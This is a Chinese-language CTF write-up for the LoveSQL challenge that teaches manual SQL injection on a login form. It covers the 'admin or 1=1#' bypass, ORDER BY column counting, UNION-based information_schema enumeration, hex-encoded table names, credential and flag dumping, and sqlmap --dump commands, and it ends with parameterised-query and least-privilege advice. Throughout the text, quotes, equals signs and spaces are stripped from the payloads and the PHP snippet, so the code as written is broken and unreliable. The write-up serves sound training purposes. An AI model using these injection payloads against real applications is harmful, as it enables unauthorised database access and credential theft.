[极客大挑战 2019]LoveSQL 这道题在 CTF Web 方向里几乎算一个“入门必刷”的经典靶场。它考察的东西其实非常朴素通过一个登录框手工完成一次完整的 SQL 注入。没有 WAF没有复杂的过滤也没有需要脑洞的骚操作只要把 SQL 注入的基础链路走通flag 就会被一层一层捞出来。我见过很多初学者拿到题后盯着页面发呆不确定该从哪里下手或者一上来就点开 SQLmap 跑一把。这篇文章我想按普通人第一次接触这道题时的思路把从判断注入点到最终取到数据的每一步都拆开讲也顺便把新手最容易卡住的几个环节单独拿出来说一说。1. 先看清题目一个登录框能藏什么1.1 登录框是最常见的注入点这道题的页面外观没什么特别的就是一个标准的账号密码登录表单通常还带一个“login”之类的提示。以我做这道题时的环境为例页面就是两个输入框加一个提交按钮后台大概率是 PHP MySQL 的经典组合底层查询长这样$username $_POST[username]; $password $_POST[password]; $sql SELECT * FROM users WHERE username$username AND password$password;如果后端没有做任何过滤、转义也没有使用预处理参数绑定那么用户的输入会被直接拼接进 SQL 语句。这正是 SQL 注入的前提条件。判断这里能不能注入我一般先做两个最简单的测试先在用户名框输一个单引号密码随便填提交后如果页面出现 SQL 语法报错说明单引号已经进入并破坏了原来的 SQL 结构再输入admin or 11#密码依然随便填如果这次能登录成功注入点基本就坐实了。给新手一个比较直观的理解你把用户名输入框当成一个“填空位置”后端已经把 SQL 写成一个半成品SELECT * FROM users WHERE username____ AND password____你填进去的内容如果只是普通字符那么查询就是按正常逻辑执行但你填入的内容里包含单引号、注释符、逻辑运算符号数据库读到的就不是一个“用户的输入”而是一段改变了原本结构的 SQL。比如输入admin or 11#之后整条语句会变成SELECT * FROM users WHERE usernameadmin or 11# AND password任意#在 MySQL 里是注释符它会把后面所有内容注释掉所以真正被数据库执行的只有SELECT * FROM users WHERE usernameadmin or 11这个条件恒为真数据库返回了用户表中的数据登录判断自然就被绕过了。这就是网上常说“万能密码”的底层原理它不是口令正确而是改变了查询条件本身。1.2 这题的“伪装”与提示很多人卡在这道题的第一个地方是发现万能密码确实能登录但页面只回显了一行英文字符类似“Hello you have not completed the challenge yet!”并没有看到 flag。于是开始怀疑是不是注入没成功。其实这个反应本身就是题目的一个提示登录验证只是入口真正有用的数据还藏在数据库里你需要借助同一个注入点把数据读出来。这属于回显型注入。所谓“回显型”指的是页面会把 SQL 查询结果中的某些字段直接打印出来。对于学习 SQL 注入来说回显型是最友好的类型因为你在 URL 或表单里输入构造好的 payload页面会把结果直接反馈给你方便一路做验证。这也决定了这道题最适合采用 UNION 联合查询注入来解题。如果换成没有任何回显的盲注环境一个数字一个字母地猜会让新手崩溃。2. 先补基础SQL 注入到底是怎么发生的2.1 SQL 拼接与注入的本质很多人把 SQL 注入想得很玄其实它就是“数据与代码没有分离”的问题。正常程序里SQL 语句是结构用户输入是数据但如果用字符串拼接的方式把输入直接塞进 SQL用户输入就不再只是数据它可以携带 SQL 语法变成代码的一部分。打个比方你让一个人帮忙填合同结果这个人在合同里顺手加了一句“所有条款对我不生效”签名处却没看出来于是整份合同都变味了。在我平时测试这类题目时会习惯先把最终拼接出来的 SQL 在脑子里过一遍SELECT * FROM users WHERE usernameadmin AND password123456这是正常状态而输入admin or 11#后因为多了一个单引号提前关闭了 username 的字符串再用 or 11 制造恒真条件最后用注释符把后面的AND password...整个吞掉最终语句变成可操控的形态。判断注入点的核心也是找这层“闭合关系”能看到输入点、能闭合引号、能注释掉多余部分基本就成功了。2.2 注释符和 URL 编码的那些坑MySQL 支持的注释符有多种本题目里常用两个#和--注意 dash dash 后面必须有一个空格或者一个不可见字符。实际提交时经常看到别人写--一开始可能不理解其实这是因为 HTTP 请求中会被解析成空格所以--等价于--刚好满足“--后面有空格”的语法要求。我在给新人讲解时会特别强调一个细节如果你在地址栏里直接输入 payload可能因为浏览器或前端的处理导致#、空格、单引号被转码或丢失。尤其是#在 URL 中是锚点标识虽然 POST 请求里影响不大但如果后端在解码时做了特殊处理最好直接在抓包工具里修改原始请求内容。这也是为什么我建议新手学这道题时至少要学会用抓包工具改包页面输入框只是一种“方便展示”真正提交给服务器的是 HTTP 请求体。2.3 为什么先要测列数联合查询注入简单说就是让原来的查询语句和你的 UNION SELECT 语句“合并”执行。但 UNION 有个硬性要求前后两个查询的字段数量必须一致否则数据库直接报错。所以拿到一个疑似 UNION 注入点之后第一件事不是急着 select而是先搞清楚原查询一共返回几列。测列数最常用的办法是ORDER BY N。ORDER BY在 MySQL 里既可以按列名排序也可以按列的序号排序。例如admin order by 1# admin order by 2# admin order by 3#当 N 小于或等于当前查询的列数时查询能正常返回当 N 大于列数时数据库会报类似Unknown column 4 in order clause的错误。于是通过不断递增 N观察哪一次开始报错就能确认列数。在这个题里我测试到order by 3时页面依然正常到order by 4时开始报错因此原查询是 3 列。这一步是整个 UNION 注入的地基千万不要靠猜。3. 手把手完整解题流程3.1 先用 UNION 确认回显位知道原查询是 3 列后接下来要确认“页面会把查询结果的哪些位置打印出来”。这种位置叫回显位比如页面只展示查询结果中的第 2、3 列那么你 SELECT 里出现的第 1 列数据就算选得再特殊页面也不会显示。构造 payloadadmin union select 1,2,3#如果页面出现数字 2 和 3说明第 2、3 位是回显位。你可能会好奇为什么第 1 位的数字 1 没显示原因很简单后台页面大概率只把查询结果中的某些字段显示在页面上比如用户名、密码等信息展示位第一个字段可能是页面模板里没有用到的 id 字段。试出回显位后后续所有查到的敏感数据都应放在能显示的那个位置也就是第 2 列或第 3 列后面我统一用第 2 列作为主力。这里有一个比较常见的小问题有些环境会把回显位的数字输出在 HTML 里但可能被 CSS 隐藏或者页面只展示第一行数据。别慌多看看响应内容的前后文抓包工具里搜索一下数字是否存在即可。3.2 爆库名database() 函数有了回显位第一步就可以查当前使用的数据库名。把第 2 列换成database()admin union select 1,database(),3#页面回显了一个短字符串通常就是当前库名我测试时得到的是geek。这里可以顺手多测几个系统函数admin union select 1,user(),3# admin union select 1,version(),3#user()显示当前连接数据库的用户version()显示 MySQL 版本。知道版本不是白看的不同版本在 information_schema 里的一些视图细节有差异例如 MySQL 8.0 对部分元数据视图做了调整遇到报错时可以据此调整思路。当然本题是基础环境知道版本有利于判断题目的出题背景。3.3 爆表名information_schema 字典表获得库名后下一步是枚举库里面有哪些表。MySQL 自带一个“数据库的数据库”叫 information_schema里面记录了服务器上所有库、所有表、所有字段的元信息。利用它来枚举表名标准的注入 payload 如下admin union select 1,group_concat(table_name),3 from information_schema.tables where table_schemadatabase()#这里简单解释几个点table_schema在 information_schema 里表示“这个表属于哪个库”等同我们说的 database。group_concat(table_name)会把查出来的多行表名合并成一行用逗号分隔。如果不加这个函数而页面又只回显第一条记录时你可能会反复调整limit才能看到全部表名。执行后我得到的表名是geekuser和l0ve1ysq1。看到第二个表名你应该已经明白它就是love sql的“数字抖动版”题目的灵魂基本就藏在这了。3.4 爆字段带引号表名的处理方式知道表名后接下来要枚举每张表的字段名。查询语句长这样admin union select 1,group_concat(column_name),3 from information_schema.columns where table_schemadatabase() and table_namegeekuser#这里很容易遇到一个问题你的整个 payload 已经用了一个单引号来闭合 username现在表名又要用单引号如果表名本身也拼接错误SQL 就会变成乱七八糟的语法。为了减少这类冲突我习惯直接把表名转成十六进制再写在 SQL 里。MySQL 支持在字符串比较或查询条件中使用十六进制字面量比如table_name0x6765656b757365720x6765656b75736572就是字符串geekuser的十六进制表示。另一个带数字的表名l0ve1ysq1对应的是table_name0x6c3076653179737131于是查询可以写成admin union select 1,group_concat(column_name),3 from information_schema.columns where table_schemadatabase() and table_name0x6c3076653179737131#实测两张表的字段都是三列id、username、password。这说明它们是标准用户表结构接下来直接读取数据即可。如果你遇到一些引号被过滤的题目这种把字符串转十六进制的技巧会特别有用建议练熟。3.5 爆数据按表逐层读并拿到 flag字段名到手后一张表一张表地读数据。先读第一张表admin union select 1,group_concat(username),group_concat(password) from geekuser#页面回显的是一批普通用户名密码记录。然后再读第二张表admin union select 1,group_concat(username),group_concat(password) from l0ve1ysq1#当我把目光移到返回的 password 字段时就能看到一长串类似flag{...}格式的字符串。题目要的东西就在这里。如果想读得更完整也可以把用户名和密码拼在一起输出admin union select 1,group_concat(concat_ws(:,username,password)),3 from l0ve1ysq1#concat_ws会用第一个参数作为分隔符把后面字段拼起来这样可以在一行里同时看到用户名和密码。如果页面回显被截断还可以尝试用substr分段截取或者用limit一条条看只是效率会低一点。这一点在实际渗透测试中也挺重要回显空间有限时压缩数据比纠结排版更实用。3.6 用 SQLmap 验证结果工具党参考手工流程走完一遍对题目的理解才是完整的。不过工具也该会。SQLmap 是常用的自动化注入检测工具在这个环境里可以直接用sqlmap -u http://目标地址/check.php --data usernameadminpassword123 --batch从登录逻辑看注入参数应该是username所以可以单独指定sqlmap -u http://目标地址/check.php --data usernameadminpassword123 -p username --batch接下来的标准操作顺序是sqlmap -u http://目标地址/check.php --data usernameadminpassword123 -p username --dbs --batch sqlmap -u http://目标地址/check.php --data usernameadminpassword123 -p username -D geek --tables --batch sqlmap -u http://目标地址/check.php --data usernameadminpassword123 -p username -D geek -T l0ve1ysq1 --dump --batch工具能直接帮你枚举库、表、字段并导出数据。但我还是建议新手先把手工注入走顺因为 SQLmap 不会告诉你“为什么 union 后面必须列数一致”“为什么表名要转十六进制”这些底层逻辑。工具是效率工具不是理解工具。4. 实际测试中的翻车点与排查思路4.1 我的 # 怎么不生效这是新手第一个容易踩的坑。在页面上输入admin or 11#时#可能会被前端 JavaScript 过滤也可能被后端转义甚至有可能你输入的是中文输入法的单引号。最直接的办法是打开抓包工具直接在原始 POST 请求体里改参数。比如原始请求长这样usernameadminpassword123你可以改成usernameadmin%27%20or%2011%23password123其中%27是单引号的 URL 编码%20是空格%23是#。我建议初学者养成一个好习惯任何浏览器里看起来正常的输入都要在请求包里确认最终内容是什么。因为网页前端可能做了一堆校验但服务端真正关心的是 HTTP 请求体。4.2 order by 4 不报错怎么办如果继续把order by加到 5、6 都不报错有可能是原查询的列数确实比想象的多或者后台拼接出来的语句没有按预期执行。这种情况不要死磕 order by直接用union select 1,2,3,4一个个试看页面是否报列数不匹配。UNION 列数不对时错误信息会非常明确也更能帮助你理解当前 SQL 结构。还有种情况是后端把order by 4中的 4 当成了别名或字符串的一部分导致没有按列序号处理这种场景往往同时伴随其他过滤需要看报错信息再判断。4.3 表名里带引号查询报错这是查询 information_schema 时最经典的报错点。你整个 payload 本身要在一个字符串变量里闭合表名又要一个引号比如admin union select 1,group_concat(column_name),3 from information_schema.columns where table_namegeekuser#最终后端拼接时SQL 结构会变成usernameadmin union ... table_namegeekuser# AND ...看起来是对了但一旦表名里出现空格、大写、特殊字符或者你的引号数量判断失误就很容易因为引号不匹配而报错。解决办法就是前面说的把表名转换成十六进制避免在 SQL 语句中再引入字符串引号。虽然这道题的表名比较规矩但养成用十六进制的习惯后面遇到复杂表名时能少踩很多坑。4.4 页面没有想象的回显有朋友反映按照同样的 payload 输入页面却没有显示出数字 2 和 3。这可能是因为页面的展示逻辑只打印第一条记录也可能当前环境并不是简单的回显型注入查询结果被程序内部使用而不直接输出。区分方式很简单如果输入union select后页面上找不到你自己输入的标志数字但输入 and 11和 and 12时页面表现不同那说明它属于盲注别说 UNION 了连直接回显都不行。这道题是典型回显型所以不要因为一次没看到回显就怀疑自己思路错了先确认是不是把参数填错了位置例如把 payload 写进了密码框而后端只把用户名拼进了 SQL。4.5 常见问题速查表在实际带新人做这道题的过程中我把高频问题整理成了一张小表方便对号入座现象可能原因解决办法#不生效或语法错误编码、前端过滤、引号不是半角抓包改原始请求用%23编码order by 4不报错原查询列数多于 3或列名排序不同继续递增或用 union select 不同列数试探查询表名时语法报错单引号闭合混乱用0x十六进制表示字符串表名页面没有显示回显位页面只取第一行或注入点判断错位用 group_concat 合并结果检查请求参数SQLmap 跑不出数据参数名指定错误、URL 格式不对用抓包工具确认 POST 参数名加-p指定5. 从这道题延伸到真实防御5.1 参数化查询是第一选择做这道题的过程其实就是模拟一次真实 SQL 注入的完整链路。而在真实业务系统里抵御它的最有效手段从来不是“把用户输入的引号过滤掉”而是参数化查询。所谓参数化就是把 SQL 语句结构和参数值分开传输用户输入永远只作为参数值数据库不会再把它当作 SQL 语法的一部分来解析。类似 PHP 的 PDO 预处理或 Java 的 PreparedStatement都属于这类方案。写代码时只要养成这个习惯绝大部分注入面都能堵死。5.2 最小权限与控制影响面除了代码层修复数据库权限设计也很关键。生产环境里给应用分配的账号最好只具备它业务模型所需的最小权限而不是给一个可以读写所有库的高级账号。SQL 注入带来的危害程度往往取决于当前连接数据库的账号权限权限越低攻击者越难读取其他表、越难写文件影响面也就越小。这一点在真实渗透测试中体现得很明显所以我建议学习阶段就从这道题开始建立起“注入点很危险权限配置能救命”的直觉。就我个人经验来说这道题最大的价值不是那个 flag 字符串而是把 SQL 注入最标准的一条链路完整走了一遍。之后你再看到任何登录框第一反应应该是尝试还原后台的 SQL 语句长什么样看到union select再也不会因为列数不对而不知道错在哪。CTF 入门阶段与其急着刷几十道题不如先把这样一道经典题手工打通把每一步的“为什么”都弄明白后面再遇到过滤、编码、盲注这些进阶内容才有扎实的底子去拆解。顺手分享一个小经验第一次做这道题的时候建议把每一条 payload 和页面回显一起截图记录做完后回头看这比任何速查表都有用。